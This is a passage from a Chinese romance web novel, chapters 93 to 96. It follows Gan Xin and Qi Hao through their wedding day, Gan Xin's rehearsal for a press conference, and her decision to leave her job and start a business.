甘歆把在床上的这俩赶了下去,自己在床上坐好,在旁边候着的工作人员帮着整理了下裙摆,鞋子她实在不知道藏哪儿了,就往裙摆的褶子里一放。 齐灏在老丈人丈母娘这块,很快就过关了,甘歆挪了个脑袋往外看看,见到她妈妈竟然牵着齐灏的手腕到她卧室门口,她无奈地摇了摇头,这个家庭地位算是保不住了。 同样是穿西服套装,今天的他有些不一样,歪头仔细瞅瞅,好像是因为他脸上的表情更丰富了些,连不说话的时候都带着笑,等齐灏侧过去,甘歆又发现了些许不同,今天的发型也是特意弄过了,鬓边的那些都被梳到了后边去,浅浅的一个背头,更加利落帅气。 目光相撞,齐灏就笑了起来,做了个口型无声说:“等我。” 伴郎也是两个,周泽自然听齐灏的,沈确没想到一把年纪了,还能有做伴郎的机会,原是推诿不肯的,给甘歆打电话问能不能就来吃个酒,电话外甘歆和齐灏对了个眼神,就知道自己老公存的什么心思,要说报复欲,还是比不过齐灏,不过是秀了个小小的发圈,人就想贴脸开大炫耀。 胳膊肘总是往里拐的,她对着齐灏无声笑笑,手指点了点他,才对沈确说:“行是行,就是到时候如果伴郎如果和伴娘有些互动,我怕不方便。” “伴郎和伴娘要有什么互动?!” “不知道啊,现在花样多,我也没细问。” “……那行,那就别喊别人了。” 真到了现场,周泽腼腆,沈确才是那个搅气氛的老手,把里里外外的亲戚朋友都哄得高高兴兴的,还特意嘱咐了屋里的两个伴娘不要对新郎有什么滤镜,该怎么整就怎么整。 真当甘歆听到她们堵门时,脑袋都要炸了。 别人家老公顶多出出力、出出丑,或者出点百元大钞,这三个人跟报数似的,一会儿百分之几,一会又多了零点几,站在门口的大姨不知道情况,还撺掇着甘歆妈问,怎么这么小气,甘歆妈妈也不懂,递了个眼神给甘歆。 她的心这个痛啊,但毕竟是齐灏显摆诚意的时候,也不好开口拦。 “2.6,齐总一言九鼎。”任婷就比齐灏大几岁,但看着他的时候还是有点犯怵。 “成交。”齐灏点了点头。 她让开的时候,甘歆明显看到沈确松了口气,任婷挪着挪着就到沈确边上去了,两人窸窸窣窣地聊着小话,任婷的的眼睛里都是得逞的笑意,沈确还给她比了个大拇指。 唐满确实难搞定,他们俩跟玩儿小数位加法似的,但甘歆觉得很奇怪,以往跟唐满都是有来有往的拉扯谈价今天怎么照单全收? 直到唐满喊到了5.7,齐灏还满口答应,就有了个更坐不住的人站出来了,周泽走到她身边,拽了拽唐满的袖子,对着她皱眉摇了摇头。 “干什么,他自己愿意答应的,我还没试探到底线呢。” “……老板,4.3真的到顶了。” 齐灏淡定,脸上的笑意都没减下,“4.3你问问她肯放我进去吗?” 唐满刚要提气说话,被周泽握住了手,“她肯的,就4.3吧,这个数字我算过了,都还可以。” 她还有些挣扎,但和刚刚的不太一样,好像就是想要周泽抓住她似的,唐满还不主动离开,最后几乎是周泽连牵带揽才给她带到一边的。 两个门神挪开,齐灏捧着手花就走了进来,在床尾单膝下跪,他一直在对着甘歆笑。 伴郎伴娘们本来就业务不熟练,往旁边一站,接收着现场直播的齐罪忍不了了,给工作人员打了个电话,又要求开公放。 “你们怎么回事啊,这么容易就把他放进来了?”齐罪在电话里咋咋呼呼的,“啧,没吃过猪肉还没看过猪跑吗,哎我叫是不能过来,不能就这么便宜这臭小子。” 到底还是甘歆妈能做主,把电话拿了过来,“亲家公啊,要不你远距离支援一下?” “好好好!我支援我支援!”于是就开始了亲爹为难儿子的一幕,“齐灏,我问一句你答一句!” 齐灏本来想把电话直接挂了,但在听到他爸问的什么后,还是停住了动作。 “以后家里谁做主?!”齐罪没听见齐灏回答,发狠地吼了一句,“回答我!” “……”齐灏被他爹的超足中气吓了一跳,“老婆做主。” “嗯……以后家里的钱谁管?!” 齐灏舔了下嘴唇,笑里带了点不常见的痞劲儿,“老婆管。” “嗯,差不多,”齐罪在电话里支支吾吾了半天,好不容易想到了第三个问题,“老婆生气了怎么办?!” “哄,”齐灏皱了皱眉,对这些显而易见的问题没什么耐心,“你要不消停——” “老婆错了怎么办!?”齐罪没等齐灏说完,立刻打断了他,“嗯?!回答我!Listentome,ANSWERME!!” 嚯,拽起了洋文。甘歆都快笑抽了,她也有点好奇齐灏怎么回答这个问题,对着面前的人挑了挑眉。 只见他清了清嗓子,从容回答,“老婆不会错,如果错了……” “嗯?!”都能从电话里感觉到齐罪的眉毛都要立起来了。 “那我肯定犯了更大的错。” “……嗯,行了!”齐罪在那儿打哈哈,“大姐,你看我儿子,您们还满意吗?” “满意满意,噢哟你真是的,”甘歆妈对着电话说,“好了好了,他们快点下一步,路上还蛮堵的嘞,到那里都不知道几点了。” 齐罪满足地挂了电话,齐灏也顺利地得到了甘歆的同意,找鞋大战就开始了,没想到他根本没去找,而是窜到了床上吻了甘歆一下,站在旁边的人直呼腻歪没眼看,连刚刚看热闹的甘歆妈都退出去了。 “老婆,膝盖好痛啊。” 来了来了,平日里不吭气的寰科集团董事长兼CEO公然对着老婆卖惨,一圈人惊讶得下巴都掉了,沈确都在旁边咂起嘴来了,只有甘歆知道,这才是齐灏的真面目。 “……膝盖痛就起来啊。” “但是找不到鞋,”他又皱眉了,旁若无人地对着甘歆一边吸气一边叫疼,“嘶……” 甘歆也不装了,伸手就去拧了齐灏的耳朵,“想不劳而获啊?” 这不动还行,一动鞋子就从裙摆处掉了出来,齐灏伸手去拿,甘歆这边手也没放,他是真第一次人生的表情这么丰富,又痛又爽,说什么都不肯放下手里拿到的鞋。 到底还是甘歆心软了,松了手让这个一肚子坏水的小狗得逞。 齐灏并没有起来,还认认真真跪着,甘歆往前挪坐了一点儿,让腿能够垂落出去,他的手无比虔诚,先覆上了她的小腿肚,再慢慢挪到了脚踝,另一只手将鞋面摆好后,才慢慢套在了甘歆的脚上,又亲吻了她的脚背。 给父母奉茶的时候,甘歆妈乐开了花,她给了长辈红包之后,还催着甘歆爸喝茶,说今天大 喜的日子别磨磨唧唧的,甘歆爸无奈老伴儿的亢奋,但也将她的话听了进去,就是那口茶汤好像没完全晾凉,喝得甘歆爸斯哈斯哈个不停。 父母家是普通的老公房,没有电梯,倒是一梯两户还算宽敞,齐灏背着出门的时候一点儿也没受到阻碍,毕竟刚刚人家进来的时候见人就发红包,一张粉红票票一个,无差别收买。 别人家送亲的眼泪甘歆家完全没有,父母欢天喜地地把闺女送到了楼下车边,和父母的告别只是暂时,他们明天、后天,一直都能相见。 夫妻俩有征询过父母的意见,要不要在同小区或者自己家附近给父母换一套电梯房,甘歆爸说都行,是甘歆妈说近期还是不考虑了,他们的圈子在这儿,还有一起跳操、钓鱼的三两好友,真的搬走了,所有的人都要重新认识一遍,对于已经六七十的他们来说,确实有点辛苦。 在他们看来,女儿身边有这个男人,比没这个男人时要过得更好,也更开心,那就足够了。 珍爱子女的父母愿望一直很小,小到只要自己的孩子每天有个微笑。 他们的愿望也始终很大,大到希望他们的孩子天天都能有这样的微笑。 车离开前,甘歆又回头看了看。 父母还站在那栋楼前对着自己挥手,他们好像在告诉自己,孩子,向前飞吧,也在提醒自己,记得回家,宝贝。 第94章 第94章因为与你相爱,所以事事,我…… 齐罪主动要求给他奉茶的这个环节去掉了,说直接去老洋房那就好。 婚车车队就五辆,迈巴赫打头阵,坐着新郎新娘,其次是沈确的玛莎拉蒂总裁,晟宇集团董事长兼CEO亲自开车,副驾坐着雅悦集团的千金,也是如今的总经理任婷。 第三辆车是洲海集团CEO唐满的保时捷卡宴,驾驶座上坐着个腼腆的男人,唐老板坐在副驾上一脸严肃地打着电话似乎在工作。 第四辆是加长版的林肯,刚刚还有些不舍挥手的甘歆爸妈就在里头……分别不过三分钟,这又聚上了,根本来不及伤怀,齐罪的库里南压阵,999的车牌到哪儿都是个通行证。 所有的车上都绑着粉色的缎带,飘尾都拉得很长,他们与各自相爱的人在一起,拨开迷雾、翻越人潮,从心出发,浸染到爱意,再回落到胸腔里。 坐落于市区的老洋房从未如此热闹过,早晨齐罪给岑念上了香,和齐灏如出一辙,也是坐在地上和她说话的,他说自己没当好爹,但儿子真的是好儿子,一点没长歪,像她,又说今天儿子办婚礼,儿媳妇是个特别好的人,现在孙女都有了,让她在另一个世界安心,等他把对她的承诺守完了,就立刻去找她。 一阵暖风吹进了屋子,好像真的回应了他一样。 齐罪的眼睛里冒出些泪花来,“老婆,我知道,你别扇我了,我会好好的。” 他的手机响了,工作人员告诉他一级戒备状态,那是车队拐进了这条路的信号,他快速揉掉了泪水,抿了抿嘴站起来,又抹了抹供桌上的小木牌位,才离开这间屋子。 中午就自家人吃了个便饭,下午趁着天好拍了些照,齐灏没让多拍,有那么一两张就行了,他趁着甘歆坐下的时候,帮她脱了高跟鞋,背着上了楼。 老洋房二楼,里面有一间套间是特意留给小夫妻俩的,进了门,就看到阿姨在哄阳阳睡觉,见到齐灏甘歆,先道了声恭喜,就离开了。 齐灏将甘歆放到床的另一侧,自己坐在床沿把她的脚放到了自己的大腿上揉揉又捏捏,“疼吗?” 甘歆摇了摇头,“阳阳睡着了么?” “还没有,在吃手呢,”齐灏往那儿看了眼,“你也歇会儿,我去洗个手哄她睡觉。” 看着齐灏的背影,甘歆慢慢提起了嘴角,他好像不管什么时候,都是以自己为先的,即使在女儿面前,自己也是齐灏的零顺位。 回来的男人将甘歆的脚放进了被子里,“你睡会儿。” 从二十几岁开始,甘歆就参加过不少婚礼,也给好朋友当过伴娘,但当日总是行色匆匆,一天的行程从早到晚全部排满,根本不可能有这种中场休息的时刻。 床右边的男人已经脱了外套,穿着白衬衫弯下腰,一下下地轻轻拍着阳阳,嘴里还低声诵着童谣,他说……“摇啊摇,摇啊摇,摇到外婆桥,外婆叫我好宝宝……摇啊摇……” 甘歆也在这一声声中闭上了眼睛,她好像置身在一条小船上,耳边有船橹划过喝水的声音,微风里杂这绿叶的清香,云好像也覆在了身上……她和阳阳一起美美地睡了一觉。 醒来的时候甘歆吓了一跳,以为都第二天早上了,才发现已经到了傍晚,阳阳早就醒了,来参加婚礼的宾客也陆续入席,她赶紧抓过淡定坐在床边齐灏的手腕。 “来不及了?” “来不及什么?”齐灏反握住了甘歆的手,还捏了捏手心,“席面不要紧,可以直接洞房。” 甘歆被他逗笑了,还在被子里伸了个懒腰打了个哈欠,“不下去迎宾真的不要紧吗?” “阳阳在迎呢,被轮着抱,还收了不少红包,已经能扛大事了。” 起来后妆造简单弄了一下,甘歆的婚纱没脱,裙摆和头纱重新弄一下就行,挽着齐灏的手臂下楼,被已经混成甘歆表哥的沈确高声吹了口哨,大家的吸引力就过来了。 老洋房通往草坪的门很宽,足够两人通过,地灯已经亮了起来,搭的灯架上的灯也亮了,所有人的目光都向他们这里聚集起来,连孩童玩耍的热闹都停了。 在所有人的注视下,他们一步步向外走出,到了庭院里,他们又相视而笑,夕阳和LED灯光同时打下来,成了不可复制的绚丽色彩。 此时,才有个不知谁家的小姑娘,向甘歆走去,伸手抓住了她的裙摆,小姑娘摸了摸陌生的面料,又抬起头看向甘歆。 她说:“姐姐,你好漂亮。” 这句话好像打破了新人和宾客之间的屏障,不断地有人前来恭喜、合影。 张然和徐君也来了,带着祝福,也带着歉意,又感谢齐灏不计前嫌,将徐君安排进了寰科,相对严谨的工作制度反而让他觉得放松,而张然对着甘歆,只有深深、深深的拥抱,她说抱歉,也说真好。 梁越也请来了,除了太太,还带上了他的女儿佳佳,甘歆是第一次见佳佳,竟然已经上六年级了,是个亭亭玉立的姑娘。他和齐灏握手的时候说,第一次见他,就觉得这个人对甘歆不一般。 甘歆有些惊讶,齐灏等他们一家子入席后,才对她说,你看吧,我就说他之前对你有意思。要 不是鱼尾婚纱不太好抬腿,她高低得踹他一脚,得了便宜还卖乖。 最让甘歆感动的,是齐灏请来了李大娘,她看起来身子骨健朗,说话也大声,拽着甘歆说找的小男人不错,差点儿就要长得比她老汉儿俊了,甘歆笑得开心,又问李大娘身体和现况,有了那边城建局领导的照拂,不仅她,整个北泽村的搬迁都非常顺利,后面连纠纷都没有。 见了老朋友,时间就差不多了,司仪上了台,灯光都打在台上。 齐灏上了台,甘歆走到了通道末尾特意搭的门帘后面,他们在等待。 音乐响了起来,舒缓的钢琴落到耳朵里,灯光分成了两束,一束在甘歆这,一束在齐灏那。 门帘缓缓拉开,新娘挽着父亲的臂膀,缓缓向台前走去。 甘歆是在这时候,才感受到父亲的不舍,他的臂弯绷得很紧,也走得很慢,好像希望这条路再长一点,就能陪女儿走得再久一点,交给别人,即使是深爱女儿的丈夫,也无法完全放心。 她轻轻在父亲的耳边说:“谢谢爸爸妈妈。” 六个字,就让父亲轻轻顿了下,但也只是顿这一下,便坚定地往前,比起不舍,他更希望女儿幸福,于是他的步子就快了一些,想亲手交给那个在台上的人。 甘歆和父亲只走了三分之一,齐灏就有些按捺不住了,走到一半的时候,见着岳丈大人顿了顿,心里咯噔了一下,犹豫了几秒,不顾司仪的阻拦,就自己往台下走了,几乎是小跑了起来,走到两人面前时,还有些心慌。 甘歆不解,“怎么下来了?” 齐灏咽了咽说:“等不及了。” 父亲明白他的冲动,也明白他的担忧,没有再犹豫,拉过了齐灏的胳膊,将女儿的手放到了他的手背上,忍了又忍,父亲才说出了只有他们三个人才听得到的话。 “歆歆在成为你的妻子,和孩子的母亲之前,先是我们的女儿,我没有把你的手盖在她的手上,是因为她永远有我们为她遮着,没有你她也行,希望你善待她。” 本来甘歆都做好了美美婚礼不哭的准备,听到父亲的话实在没忍住,眼睛里噙了泪。 父亲的路告一段落,换了双更年轻的手,慢慢带着她挽在了他的胳膊上,齐灏也走得很慢,每一步都踏实,他时不时会转过来看甘歆的脸,两人目光撞上了就会微笑,直至他们走到了台上。 这场婚礼没有游戏,也没有繁杂的流程。 他们只是想弥补未尽的环节。 司仪的声音带着些沉,请他们面对面,并拉起对方的双手,接着,把时间交给了对方。 在准备婚礼前夕,他们各自准备了结婚誓词和给对方的一封信。 齐灏深吸了一口气,抿了下唇,喉结紧张得上下滚了滚,才开口,“甘歆,你好,我是齐灏,遇见你实属偶然,追求你确实冒昧,谢谢你始终对我心软不忍,才能纵容我至今日,我十分荣幸、也十分感激,我承诺永远爱你、保护你、在意你,将穷极一生尽最大努力,予你畅快、予你开怀,我在此向你发出万万次请求,请问……做我的妻子,你是否愿意?” 他的眉眼依旧深邃,比三年前又多了些成熟,说话的嗓音好像更沉了些,今天更是英俊得过分,甘歆点了点头,“我愿意。” 她也深吸了一口气,先对着齐灏笑了笑,又咽了咽,才缓缓说起,“齐灏,我是甘歆,很高兴遇见你,冥冥之中,我竟然参与了你那么多过去,谢谢你……对我不离不弃也坚定不移,我从未想过,会有人比我更爱我自己,是你让我……对爱情、对婚姻和家庭有了新的了解,谢谢你愿意接住我、托举我、珍爱我,我也在此承诺,我将永远爱你、保护你、在意你,将尽我最大的努力,予你世俗的热闹喧嚣,也予你内心的安逸静谧,请问……你是否愿意,成为我的丈夫?” “我愿意,我愿意,我愿意。” 戒指早就戴在了手上,他们从未摘下。 不等司仪说话,齐灏伸出了双手,轻轻捏住了甘歆头纱的下端,慢慢地、慢慢地向上掀开,他的眼睛左右轻晃,仿佛此刻即将不受控跳出胸腔的心脏。 去掉那一层薄薄的遮掩,彼此的面容清晰了起来,他们彼此凝望,山川湖海、浩瀚星辰在这一刻全都消失了,只有彼此、只剩彼此。 他向前一步,将甘歆抱在了怀里,声音微颤,“谢谢你。” 心脏贴近,就渐渐同频。 甘歆也听见自己说,“也谢谢你。” 所有的爱意,所有的羞赧,所有的情动,所有的爱恋、眷恋、依恋,世界上所有、所有的美好的词,从此都有了具体的名字。 想向世界宣告的那层意思,瞬间就消失了,不重要了。 他们已经被彼此占满,无需外人的眼神、评判来填补。 他们爱到了彼此没有缝隙。 齐灏深吻了甘歆,搂着她的腰将她抱离了地,他的新娘今天美到让他不舍得眨眼,但一想到,这个人将会在往后的日日夜夜都陪伴自己,又觉得闭上眼睛也没关系,她会在身边。 她回应了他所有的爱。 婚宴开启得很快,结束得也很快,没有敬酒环节,只有各自热闹愿意上去唱上一曲,所有人在轻松愉快的氛围中祝福他们。 周泽突然起身,大家以为他要上去唱歌,却没想到他去了门口,回来的时候,带了个礼物盒,他走到齐灏和甘歆身边,递给了他们,礼物盒上有一张手写的卡片,简简单单的“新婚快乐,百年好合”,字是苍劲的瘦金体,是齐老爷子送来的礼物。 打开盒子后,里面只有两个新鲜的水果柑橘。 里面还放了一张卡片,只有两个字,写着“心意”。 甘歆不解,齐灏却懂了,他释然地笑了笑,“柑心。” 他对着周泽招了招手,让他去请老爷子进来,周泽却说他已经离开了。 齐灏轻轻叹了口气,“或许他还是对我妈有愧吧,所以不进来了。” 甘歆握了握齐灏的手,对他微微一笑。 “我觉得……妈应该从来没有怨过爷爷。” 齐灏有些不明白,“嗯?” 甘歆看了看齐罪,又看向了齐灏,眼神柔和,又藏有深意。 “不后悔做的任何选择,也不怨怼经历过的所有事情,妈和我,都很幸运,也很幸福。” 因为与你相爱,所以事事,我都甘心。 第95章 第95章她的先生,从未高高在上,始…… 晟宇融资成功比二期保障房打地基来得更早些,宣发也由原先隆重的发布仪式改成了普通的新闻发布会。甘歆此刻站在一手拿着打印的rundown,一手拿着对讲机,站在发布会的场地中央。 “灯光还是有些偏黄,再校准一下,尤其是面灯,”她对着对讲机说道,“另外再检查下话筒的电量,尤其是主讲台的天鹅颈,再备至少3个话筒。” 甘歆已经回归职场两个月,此刻正在做新闻发布会的最后彩排,巨细无遗地检查着大大小小的事项,这些工作流程仿佛已经刻进了她的血液,一年的休假并没有让她在业务上陌生,即使已经荣升VP,前期也做到了放手,但在最后关头上,她还是会尽力把控一下。 最开始她还以为是齐灏故意让沈确放水,要求发布会从简,为了这个猜想她没少不高兴,齐灏也不解释,笑着任她摆臭脸,直到后来才听下属说是沈确的意思,才放心了些。 她依旧保留了一个优秀员工的原则,没有去打听老板的意图,而是贯彻执行了老板的期待,倒是最后沈确坐不住,来和她解释了一下。 原来是晟宇确认要和雅悦合并成大集团公司了,目前寰科的投资只是针对晟宇的,沈确不想弄得太大,免得盖过了官宣合并的风头。 “没什么问题了,小孙再和几个总的助理确认下出席时间,”甘歆在确认了最终调整后,终于在对讲机里向大家宣告收工,“公司给大家准备了酒店的自助晚餐,收拾好了后可以在门口拿券哈,辛苦了!” 原本沉闷的会场发出了一声欢呼,将原本的疲惫一扫而光,大家连收拾的速度都快了起来。甘歆倒是不急了,像最早做执行时一样,将rundown的A4纸叠了三折,放进了小西装的口袋里,坐在音控台边的空位上。 “歆总,您不和我们一起吃吗?”音控的小伙子探脑袋过来问。 “啊,你们吃,”甘歆笑了笑,“忙了这么久辛苦了。” “不辛苦不辛苦,那我们先走了。” 甘歆带着笑点了点头。 感觉到手机在口袋里震了震,甘歆拿了出来解锁,是张然发过来的微信,北泽那边的保障房地基已经打好,下一步准备做结构,等着水泥车现场浇筑。 看着信息的甘歆不经意弯起了嘴角笑了起来,她的内容里少了请示,更多是知会,甘歆知道,张然已经一步步地走出了自己的路,未来无论在晟宇还是其他地方,她一定会牢牢掌握住话语权。 她没有多回信息,只是回了个“赞”的表情,曾经那个还为家庭焦灼的小女人,在岁月的洗礼之下已然成为了可以为别人撑伞的女性。 甘歆望着舞台上已经摆好的签约桌和几乎搭到顶的LED屏幕,她有一瞬间的失神。 她伸手摸了摸桌子上铺着的蓝丝绒桌布,指尖绵密 的触感,好像将她的记忆拉回了几年前刚来晟宇的时候。 那会儿沈确刚接手公司,请甘歆来帮忙,她那时候执行和管理兼顾,多细碎的事儿都要亲手过,几乎没有喘息的时间,有的时候连做梦都是活动现场。 甘歆的嘴角又露出一抹笑,像是在笑当年的自己,那会儿总觉得自己上班的时候多少也有些用力过猛了,衣服、鞋、包包,好看的多,舒服的少,也是在近几年,才慢慢更听身体的话,简洁舒适为主。 当然……其中少不了齐灏的推波助澜。 他比甘歆更在意产后修复的事,只不过和普罗大众认为的“身材恢复”,更在意的是她的体质,他总不想让甘歆太瘦回去,还认认真真地拿过核心期刊里的论文放到她面前,说女孩子的小肚子上总要有些肉肉,那是保护女□□官的重要防护,甘歆笑得眼睛都拢起来了,就怼着他的肩窝问他,那要是胖到他抱不动了怎么办。 哇,这个人都当爸爸了,怎么还会和男大一样幼稚地给她秀肱二头肌呀。 “抱不动该反省的也是我啊,你跟着操什么心。” 想到这里,甘歆的笑容都压不住,无奈地摇了摇头,又拿出了手机看看时间,估摸着齐灏应该快到了,她深呼吸了一下,拍了下腿站了起来,走到门边关照了酒店服务员锁门,就往电梯那里走了去。 刚点了向下的按钮,电梯的门就开了,甘歆看都没看就往里走,下一秒就被一只大手握住了胳膊轻轻往外拉,一抬头,就对上了齐灏带着笑的眼睛。 浅灰竖条纹的白衬衣,袖口已经被挽到了手肘这里,见到甘歆的他嘴角也扬了起来,说着带些责怪的话,语气都软塌塌的,“进电梯怎么也不看看上下。” 甘歆愣了一下,不甘示弱,“上去也总会下来的。” “噢——”齐灏挑了个眉毛,没有再做其他的亲密动作,而是真的像明天要来和沈确签约的寰科主理人一样,来现场与晟宇的市场VP沟通似的,“看到歆总这么笃定,想必明天的细节一定都一一确认过了?” 甘歆故意不笑,拿出手机假模假样地上下翻阅了一遍,回话也慢,“大多都没问题了,就是寰科齐总的时间还没回复,”她抿唇摇了摇头,一副无奈的样子,还带着点吐槽的劲儿,“每次都这样,真是麻烦死了。” 这下轮到齐灏着急了,连手都搭到了甘歆的手臂上,皱着眉不解地追问,“有给我发吗?我没收到啊?” 甘歆熟练地从他裤子左边口袋里拿出工作手机,在齐灏的面前来回晃了晃,连屏幕都没亮,“关机是收不到消息的,齐总。” 齐灏有些歉意地舔了舔嘴唇,又有些讨好似的笑,“抱歉歆总,家妻在等,归心似箭,下班时间不想被工作打扰来着。” “可是……”她竟然在此刻无理取闹了起来,“齐总不回这个消息,我就没办法下班,”甘歆摇头叹了口气,“唉,你就陪我等一会儿吧。” 他可太喜欢他妻子这幅作态了,平日里冷静又成熟的人,他出的大多数鬼点子都会被她识破,也能看出来有时也是不想让他扫兴,才会配合着演一演,更多时候,面对甘歆,讲道理的时候总比上情绪来得有用、高效。 可她今天竟然会先“作”起来。 齐灏低头笑了笑,拿她没办法似的清了清嗓子,当着甘歆的面开了机,打开通讯软件后,信息跟海一样涌了进来,但男人丝毫没有去理会的样子,而是拨通了周泽的电话。 “帮我跟晟宇的联络人说一声,明天的时间没问题。” 电话那头的周泽有些意外,往常这个时候老板早早关了机,别说只是确认出席时间的这种小事,就算是股价在12%以内的的浮动,都不被允许打扰他的私生活了。 “现在就回复他们。” “好的老板。” 打完了电话的齐灏,才走到了甘歆的旁边,乖巧得话都没有讲,只等她确认。 甘歆在工作群里被艾特了一下,她解锁看了一眼,轻巧地点了点头,再看向齐灏时眼神里就带了些傲娇。 没等她开口,男人主动凑了过去,握住了她的手,将脑袋搁在了他的脑袋上,“老婆……现在可以下班了吗?” 甘歆的食指挠了挠他的下巴,回复得也轻巧,“嗯。” “那今晚……” “今晚个头,”甘歆敲了一下他的脑袋,“早点睡觉,明天一早我就来会场了。” “……这么多人盯着呢?” “那到时候寰科的谁谁谁迟到了不来会场,都没人敢催。” “啊——”齐灏的脑袋跟个电钻似的在甘歆的颈窝里挠,“可是好久了啊,我还是个血气方刚的男人,你……你得履行夫妻之间的义务。” 还义务呢,行业里的异物还差不多。 甘歆拍了拍他,“起来,像什么样子,这还有摄像头呢。” “摄像头怎么了,就让他们这么拍,”齐灏嘚瑟地对着甘歆抬了抬下巴,“让全世界看看,我多么黏人。” “噗,”电梯来了,甘歆拽着齐灏的手就往里面走,“你不嫌丢人我还嫌丢人,快回家了。” “回家,是要做点回家才能做的事的,”齐灏的眼睛都快冒绿光了,“你不能光回家不办事。” 事实上,自从婚礼之后,两人基本都没怎么亲密过,都忙得脚不沾地的,他忙他的航站楼,她忙公司里的一应事务,甘歆又是新搬去齐灏那,他那个屋子原来和开发商装修没什么区别,简单摞几个家具,就住下了,好在硬装不用动,家电和软装甘歆还是花了些心思的,期间男人怕她辛苦,还问需不需要专业人士来帮忙。 嗐,甘歆实在是怕了齐灏和他爸的那个阵仗了,她也不大动,只为了自己住着方便,也就没采取他的建议。 家里家外地忙,娃倒是有人带,但到了周末也免不了要接回来稀罕稀罕,一来二去的,也就没那方面的心思。 本来以为没人提,那就到时候再说,没想到这头狼崽子竟然饿成这样。 两人一路到地库,齐灏看着甘歆也开来的车有些犯难,“要不你的车留在这?” “留在这干嘛?”她翻了个白眼,“过夜停车费这么贵,而且我明天也要过来,开回去方便。” “……那我的车留在这?” “你的也开回去,”甘歆说,“明天你要从寰科出发,有人会拍摄记录,你别影响流程。” 齐灏连忙举手投降,“好好好。” 她上了红色的野马,他上了黑色的迈巴赫。 两边启动的声音都不小,同时坐上驾驶座的人都系好了安全带,又默契地摇下了车窗,相视一笑,没有为对方把握方向盘的担忧,都是对彼此的肯定与欣赏。 她先松了刹车,踩下油门,离开车库后混入车流,再上高架。 依旧是朝着夕阳的方向开,不一会儿,她从后视镜里看到了熟悉的车牌,她的男孩终于跨越车流追上了她,变了道与她并驾齐驱。 他们没有妨碍任何交通规则,也没有摇下车窗,只是一路相伴,交错向前,一同往家的方向开去。 先后停在自 家的停车位,甘歆熄了火,她内心无比满足,她对她的爱情和婚姻感到满足。 她的先生,从未高高在上,始终相伴与她左右。 小狗那么好,又这么乖。 小狗理应被好好奖赏。 第96章 第96章他爱的人,既勇敢、又伟大。…… 回到家里的齐灏,瞬间成了只会挂在甘歆身上的小狗,就差吐舌头流哈喇子了,他可太喜欢叫她老婆了,牵着她喊、抱着她喊、挂在她身上喊,一分钟恨不得喊上三十遍,听得甘歆的耳朵都快长茧子了。 才刚刚亲过啊,怎么又把嘴伸过来了。 甘歆伸出右手,食指和中指一夹,将齐灏的两片唇夹在指间,“停停停,让我喘口气。” 撒娇的男人哪里听得进去,哄着求、装可怜要,甘歆不得不使出杀手锏,捏着齐灏的双颊凑到面前,用力咬了他一口,还挑衅似的问:“疼不疼?长没长记性?” “……不疼,老婆再赏我一口。” “噫,以前就觉得你会装,没想到你是真M啊!” “你喜欢的话我还可以是别的。” “行了,”甘歆拽住他的手,把他往沙发那儿带,两人坐下后,她才继续往后说,“吃饭前,有件事我想和你商量下。” 齐灏也不再与她嬉闹,正了正神色,认真地看着甘歆,“你说。” 她舔了舔嘴唇,先是有些欲言又止,停顿了几秒后,才对齐灏说出早已在心中想了许久的计划。 “晟宇和雅悦要合并了,洲海目前和寰科也有着比较密切的关系,我虽然能确认自己的职业操守也没问题,但作为晟宇的员工……”甘歆说到这里,停了下来,看了看齐灏的表情。 他一脸认真,也没有插嘴,温润的眼神似乎在请甘歆继续毫无负担地说下去。 “但作为晟宇的员工,我自己认为,和各个公司的高管走得太近,不是件好事,”甘歆坦言,“我知道,如果将这些顾虑告诉你们几个,肯定都会说我多想,但就是因为经历过公司股价的来回折腾,我觉得我也有必要从其中跳出来。” 齐灏咽了咽,不予置评,他看得出来甘歆还有话没有说完。 “齐灏,我现在不仅仅是晟宇的员工,也是你的太太,”甘歆笑了笑,“就好像刚刚在酒店里,我可以利用私下的关系请寰科的董事长立刻给到答复,但这其实是不专业的表现,晟宇的执行人员不应该具备这样的便利性。” 说到这里,她的先生终于露出了一些笑容,伸手握住了甘歆的虎口,对着她点了点头。 “所以……我想等晟宇和寰科的发布会后,向沈确请辞,”甘歆终于说出了自己的打算,“你会觉得我的这个决定会影响什么吗?” 不是问他这个决定好不好、合不合适,而是直接问后果。 她的问题,并没有给齐灏选项。 齐灏沉思了一会儿,看向甘歆,弯起了嘴角,说出口的话却是,“谢谢。” 甘歆有些意外,“谢我什么,你别这么看我,心里想什么鬼主意呢?” 他往甘歆的身边挪了挪,拉过了她的一双手,握在了自己的手里,“把你拉进这个圈子,我没有找你商量过,我们几个人给你带来的麻烦,比得到的更多,谢谢你一直包容我们。” “……啊呀,”以前甘歆最爱齐灏认真,现在的她最怕他认真,长长的睫毛下,漆亮的眸子里透过来的情绪太浓,她依旧难以消化,“你别这么说,我拿工资的。” 齐灏摇了摇头,盯着她的眼神愈发温柔,“说实话,你说的这些我先前都没考虑过,又让你替我领路了,你说了对这几家公司的影响,那你的呢?我想听听这个决定对你的影响,能告诉我吗?” “我?”甘歆从齐灏的手心里抽出手,放到了他的手背上,“对我的影响啊……那可能就是创业需要一些时间吧。” “嗯?”齐灏有些意外,眼眸里都泛了些亮,“歆总打算创业了吗?” “嗯,”甘歆笑了笑,“生阳阳后在家休息的这段时间,我不是报了个课么,认识了一些人,也帮着牵了些资源,效果还不错。” “活动?媒体资源?” “不完全是,”甘歆笑得明媚,“策划和营销方面我也提供了思路,哈哈,我同学还在活动后给我转了费用,说是出谋策划的佣金,好久……好久没有做这么单纯的市场工作了,感觉到了久违的快乐。” 齐灏点头,“所以歆总打算合伙?” “那肯定,初期用不了太多投资款,业务和运营他们有现成的,我主要负责做项目,”甘歆说着说着自己都有些high了,才想起来齐灏还没有表达意见,呼了一口气才看向他,“你觉得行吗?” 两个人对视着,谁都没说话,熬了几秒后甘歆还没从齐灏的表情里看出端倪,磨得她耐心都快没了。 “噗——”是齐灏先憋不住,怪模怪样地学着甘歆刚刚问他问题的样子,“你~觉~得~行~吗~” 甘歆被他这一闹,也泄了气,伸手就去揪他的耳朵,“你有意见?” “我哪敢啊,疼疼疼,”齐灏作势要去抓她揪着他耳朵的手,却又没有真的抓到,“姐姐,耳朵要掉了,快快快松手。” 哪有这么痛,甘歆都没怎么用力,她松开了手,对着齐灏又问:“问你话呢,你还没说行。” “我说行。” “……”甘歆语塞,男人啊,问点事儿,怎么回答得这么草率,“行什么行。” “你做什么都行,”齐灏又凑了过来,照着甘歆的脸颊亲了一口,“我真心的。” “一点都不认真,就知道敷衍我。”不就是不讲道理,谁不会似的。 “没敷衍你,”齐灏握过了甘歆的手,又吻了吻她的指节,“除了担心你辛苦,别的我觉得都很好。” 